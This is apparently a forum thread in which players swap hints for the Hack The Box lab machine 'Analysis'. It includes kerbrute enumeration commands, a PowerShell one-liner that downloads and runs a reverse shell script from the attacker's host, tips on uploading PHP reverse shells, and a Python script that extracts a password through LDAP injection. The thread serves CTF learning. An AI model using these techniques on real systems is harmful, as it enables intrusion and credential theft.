[hunter0003]

I'm still stuck in password place will anyone help me
thank u!

[jyosun]

got user, any hint for root

How did you get the user flag?

svc_web > webservice  > jdoe > user flag

i got some credential about webservice, but i don't know how to use that. can you give me a little hint more?

runascs

thank you!

[Cmbrlnd]

Also anonymos login is eanbled in port 135 rpc.... use rpcclient

---

how did u found this?

kerbrute

yup, with a wordlists of usernames, you need to add @Analysis.htb to each line with

sed -i "s|$|@analysis.htb|" users.txt 

and then

./kerbrute userenum -d analysis.htb users.txt --dc analysis.htb

Thank u i was looking in the wrong wordlist

what wordlist u suggest ?

/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

---

true but it didnt help  its not the pass or the right link

---

iam trying to brute force the pass does anyone have another idea

try this binary i wrote in golang , +Note:its faster than u think

https://github.com/LucasOneZ/HTB-technician-brute

but u have to stay and look the utput properly cuz ....(u find out)

Testing your program now, looks like it is working well, cheers

Edit: Seems to be stuck on the 7th character

i think i need to code it again cuz.. (the program will let u know later )

Yeah I see what you mean, probably not accounting for URL encoding, tried fixing it but I failed lol

[fl00d777]

Logged in as technician, struggling to get the shell as svc_web. Can someone share what payload they use?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[bl4cksku11]

Logged in as technician, struggling to get the shell as svc_web. Can someone share what payload they use?

If you already have the webshell:
Download the https://github.com/antonioCoco/ConPtyShe...yShell.ps1
Run a local web server, liten on that port that you wanna receive the shell and then run this on the webshell:
powershell.exe -c IEX(IWR -UseBasicParsing 'http://<yourip>:<yourport>/Invoke-ConPtyShell.ps1'); Invoke-ConPtyShell -RemoteIp <yourip> -RemotePort <yourport> -Rows <your_stty_rows> -Cols <your_stty_cols>

[DwightSchrute]

i am completely stuck with the technician password. running the lucas sceript for about 15 minutes now, no useful output so far...how do you guys manage to get that password?

[D0rke1e]

After logged in as technician .I found the file upload in Soc report i uploaded php reverse shell it does not succeeed but i am able to able to upload php scripts to display directory listing and finding system info and i found calc.hta file and then i created a HTA attack based reverse shell in python and i cannot upload it and any hints on how to proceed or how to get the shell

[peRd1]

Well, yes, that's how you get shell. You need to upload a PHP reverse shell (that will work), if upload succeeds, find the upload directory, and execute it manually yourself (call that link!)

At least there is no cleanup script on that folder (or at least not frequently), so you can upload more shell attempts and try running them...

The shell won't be stable, but either run a meterpreter one or ConTtyShell that bl4cksku11 recommended few posts above.

[DwightSchrute]

i am completely stuck with the technician password. running the lucas sceript for about 15 minutes now, no useful output so far...how do you guys manage to get that password?

if the password start is a* so output show technician if password is not start a* so not show technician

i use this python script but not provide correct password anyone help for correct password

import argparse
import requests

def main():
    # Parse command-line arguments
    parser = argparse.ArgumentParser(description="Brute-force script with optional proxy")
    parser.add_argument("-p", "--proxy", default="127.0.0.1:8080", help="Proxy address and port (default is 127.0.0.1:8080)")
    parser.add_argument("-w", "--wordlist", help="Path to the wordlist or charset file")
    args = parser.parse_args()

    # Use default wordlist if not provided by the user
    charset_path = args.wordlist if args.wordlist else "/usr/share/seclists/Fuzzing/alphanum-case-extra.txt"

    base_url = "http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description=97NTtl*4QP96Bv{found_char}{FUZZ}*)"
    found_chars = ""
    skip_count = 6
    add_star = True

    with open(charset_path, 'r') as file:
        for char in file:
            char = char.strip()

            # Check if '*' is found and skip the first 6 '*' characters
            if '*' in char and skip_count > 0:
                skip_count -= 1
                continue

            # Add '*' after encountering it for the first time
            if '*' in char and add_star:
                found_chars += char
                print("Found character:", char)
                add_star = False
                continue

            modified_url = base_url.replace("{FUZZ}", char).replace("{found_char}", found_chars)
            print("Modified URL:", modified_url)

            proxies = {'http': args.proxy, 'https': args.proxy}
            response = requests.get(modified_url, proxies=proxies)

            if "technician" in response.text and response.status_code == 200:
                print("Found character:", char)
                found_chars += char
                file.seek(0, 0)  # Move the file pointer to the beginning for another iteration

    print("Final found characters:", found_chars)

if __name__ == "__main__":
    main()

script output is 97NTtl*4QP96Bv* after this state script continues run

i got it know, slightly confusing but i had my "oh my" moment when i added another * in the base url of your python script (maybe there are less * as you might think  )

[lucas01]

i am completely stuck with the technician password. running the lucas sceript for about 15 minutes now, no useful output so far...how do you guys manage to get that password?

Play about with the variables in the script. For example, if the output is the same as what you received previously, change the FUZZ parameter and fuzz the other side of the output. I hope this makes sense.